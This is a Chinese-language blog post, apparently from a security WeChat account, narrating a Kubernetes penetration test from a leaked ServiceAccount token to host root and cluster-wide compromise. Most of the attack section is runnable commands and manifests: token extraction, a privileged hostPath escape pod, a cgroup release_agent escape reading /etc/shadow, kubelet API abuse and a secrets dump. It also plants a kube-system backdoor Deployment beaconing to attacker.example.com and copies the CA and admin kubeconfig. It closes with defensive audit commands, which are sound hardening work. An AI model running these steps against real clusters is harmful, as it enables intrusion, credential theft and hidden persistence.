从容器逃逸到宿主机沦陷:K8s安全攻防实战全记录
上周帮兄弟单位做了一次K8s集群安全评估,本来以为只是常规巡检,结果从一条看似人畜无害的kubectl命令开始,一路打穿到了宿主机Root权限。
整个过程让我想起那句老话——容器不是牢笼,只是个塑料隔间。
今天就把这条攻击链完整复盘出来,从攻击视角看K8s集群是怎么一步步被拿下的。看完你就会发现,很多你以为是"安全"的默认配置,在攻击者眼里全是洞。
起点:一条不该被发现的ServiceAccount
故事从一个开发者留下的错误配置开始。
兄弟单位的K8s集群跑了三年,各种项目沉淀下来,RBAC权限早已乱成一锅粥。我登录他们的管理节点后,第一件事不是扫描端口,而是先看看 ServiceAccount 的权限分布。
# 获取所有ServiceAccount
kubectl get sa --all-namespaces -o json | jq '.items[] | {name: .metadata.name, namespace: .metadata.namespace}'
几百个SA里,有个叫 pipeline-bot 的引起了我的注意——它在default命名空间里,这本身就有点诡异。
# 查看这个SA绑定的角色
kubectl get clusterrolebinding,podbinding --all-namespaces -o wide | grep pipeline-bot
结果让我倒吸一口凉气:这个SA居然绑着一个ClusterRole,权限几乎是admin级别——能list pods、能exec进入容器、能在任意namespace里创建资源。
安全从业者的碎碎念:开发同学图省事,把CI流水线用的SA绑了个ClusterRole-admin就再也没动过。三年了,没人记得回收。这种"临时权限永久化",是我见过最多的安全问题,没有之一。
第一关:拿到了API Server的"入场券"
有了SA的token,等于拿到了API Server的入场券。我把token提出来:
# 获取SA对应的secret
kubectl get secret -n default $(kubectl get sa pipeline-bot -n default -o jsonpath='{.secrets[0].name}') -n default -o jsonpath='{.data.token}' | base64 -d
拿到token后,我回到自己的攻击机,配置kubeconfig:
kubectl config set-credentials attacker --token=<刚才拿到的token>
kubectl config set-context attacker-context --cluster=target-cluster --user=attacker
kubectl config use-context attacker-context
# 测试权限
kubectl auth can-i --list
输出的权限列表看得我头皮发麻——list pods、get pods、create pods、exec、create deployments,几乎所有的核心操作权限都在。
从这一步开始,我已经拥有了在该集群内任意操作的能力。整个集群的门,开了。
第二关:逃出Pod,拿到宿主机访问权限
有了API权限不等于能控制宿主机。K8s里最危险的攻击点就是 容器逃逸——从Pod内部突破到宿主机。
攻击路径很清晰:利用高权限Pod + 挂载宿主机的根文件系统。
# 在default命名空间创建一个特权Pod
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: default
spec:
serviceAccountName: pipeline-bot
hostPID: true
hostNetwork: true
containers:
- name: breaker
image: ubuntu:22.04
command: ["/bin/sh"]
args: ["-c", "apt update && apt install -y curl wget && sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
EOF
这里用了三个关键的K8s配置:
privileged: true— 容器拥有宿主机全部capabilities,包括SYS_ADMINhostPID: true— 能看到宿主机的进程空间hostPath挂载/— 宿主机的整个文件系统都暴露给容器了
这三个配置加在一起,等于把一个普通Pod变成了"宿主机上的一把钥匙"。攻击者只需要这三样东西,就能从K8s API控制集群里的每一台机器。
第三关:在宿主机上跑命令
Pod起来了。我exec进去:
kubectl exec -it escape-pod -- /bin/bash
在容器里,/host就是宿主机的根目录:
# 切换到宿主机root
chroot /host
# 现在已经是宿主机shell了
whoami
# root
cat /etc/shadow | head -5
# 宿主机的所有用户密码hash一览无余
这条命令执行的那一刻,我已经控制了这整台宿主机。
如果你觉得chroot还不够直接,这里还有一个经典方法——利用 cgroup notify_on_release 做容器逃逸:
# 在容器内部执行,获取宿主机权限
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /exploit
echo 'cat /host/etc/shadow > /host/output.txt' >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
这种手法不需要privileged: true,只要你拥有SYS_ADMIN capability,就能挂载cgroup实现逃逸。
安全从业者的碎碎念:太多人在配Pod安全策略时只记得关privileged,却忘了capabilities。SYS_ADMIN + 某些hostPath配置,在攻击者手里就是逃逸的完整路径。
第四关:横向移动,从一台宿主机控制整个集群
拿到了一个宿主机root权限,接下来就是横向移动。
宿主机上通常存着集群的配置文件。我先找kubelet的凭证:
# 在宿主机上查找K8s凭证
find / -name "kubelet.conf" -o -name "kubeconfig*" 2>/dev/null
# 读取kubelet配置
cat /etc/kubernetes/kubelet.conf
kubelet的证书通常有Node级别的权限,用它可以进一步枚举集群信息:
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes -o wide
接下来用kubelet凭证访问kubelet API(这是最容易被忽略的入口):
# kubelet API默认在10250端口
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
--key /var/lib/kubelet/pki/kubelet-client-current.key \
https://<宿主机IP>:10250/pods
如果kubelet开启了匿名认证且没有鉴权(很多发行版的默认配置),甚至可以不用凭证直接访问:
curl -k https://<宿主机IP>:10250/runningpods/
kubelet API能做的事情超乎想象——你可以在任意Pod里执行命令,可以获取所有Pod的日志,甚至可以直接令牌提权。
更致命的是,很多集群把etcd的数据目录也挂在了宿主机上:
ls /etc/kubernetes/manifests/
# 看看有没有etcd
如果能直接读到etcd的数据,整个集群就彻底沦陷了——所有secret、configmap、token都是明文。
第五关:持久化与收割
渗透讲究收回,不能只打招呼不拿礼。我做了三件事来证明攻击影响:
1. 提取集群所有Secret
kubectl get secrets --all-namespaces -o json | jq '.items[] | {name: .metadata.name, namespace: .metadata.namespace, data: .data}'
里面包含了数据库密码、API密钥、证书——一个集群里跑的所有微服务的凭证,全在这了。
2. 在集群中植入后门Deployment
cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
name: persistent-backdoor
namespace: kube-system
spec:
replicas: 1
selector:
matchLabels:
app: backdoor
template:
metadata:
labels:
app: backdoor
spec:
serviceAccountName: pipeline-bot
containers:
- name: backdoor
image: alpine:latest
command: ["/bin/sh"]
args: ["-c", "apk add curl openssh; while true; do curl -s http://attacker.example.com/beacon; sleep 60; done"]
nodeSelector:
kubernetes.io/hostname: node-01
EOF
放在kube-system命名空间里,不熟悉的人根本不会注意到。
3. 窃取集群的CA证书和kubeconfig
cp /etc/kubernetes/pki/ca.crt /tmp/
cp /etc/kubernetes/admin.conf /tmp/
# 有了这些,我可以在任何地方重建这个集群的kubeconfig
总结:K8s安全的三个致命误区
做安全评估这么多年,K8s集群的安全问题翻来覆去就那么几类。我总结成三个最常见的"自以为安全"的误区:
误区一:容器就是隔离的
很多人以为容器和虚拟机一样安全。 大错特错。
容器共享宿主机内核,只要capability配多了、挂载没限制、seccomp没开,逃逸就是分分钟的事。记住:容器是进程隔离,不是虚拟机隔离。 默认的Docker/K8s安全配置,大概只能防住不懂技术的人。
误区二:网络策略是摆设
这个集群有NetworkPolicy,但只限制了几个关键命名空间。攻击者在获得API权限后,可以在未受限制的命名空间里为所欲为。
hostNetwork: true 更是直接绕过所有网络策略——Pod直接就挂在宿主机的网络栈上了。
误区三:RBAC=安全
RBAC只是鉴权的第一层,不是全部。 ServiceAccount泄露(比如pipeline-bot那个)意味着攻击者不需要通过集群入口,就已经在集群内部了。
如果你在用DevOps工具(GitLab CI、Jenkins、ArgoCD)跑流水线,那些SA的权限今天去检查过吗?
你能做什么
如果你手里也有K8s集群,花周末半小时做这三件事:
# 1. 检查高危RBAC绑定
kubectl get clusterrolebinding -o json | jq '.items[] | select(.subjects[]?.kind == "ServiceAccount") | {name: .metadata.name, role: .roleRef.name}'
# 2. 检查特权容器
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext?.privileged == true) | {name: .metadata.name, namespace: .metadata.namespace}'
# 3. 检查hostPath挂载
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[].hostPath != null) | {name: .metadata.name, namespace: .metadata.namespace, volume: .spec.volumes[].hostPath.path}'
这三条命令能帮你筛出集群里90%的高风险配置。
如果有发现,用Pod Security Admission(PSA)或者Kyverno做策略管控,限制privileged、hostPath、hostPID这些高危配置。不要让开发同学凭自觉去"记得关"——设置策略的强制阻断,才是最有效的安全带。
写这篇文章的时候,哥们单位的集群已经做了整改。但是我在他们生产环境里找到的12个"漏网之鱼",说明这条路还很长。安全没有银弹,只有螺丝一拧一拧地拧紧。
关注「安全值班室」公众号
每天网络安全早报 + 实战攻防案例 + 安全干货

浙公网安备 33010602011771号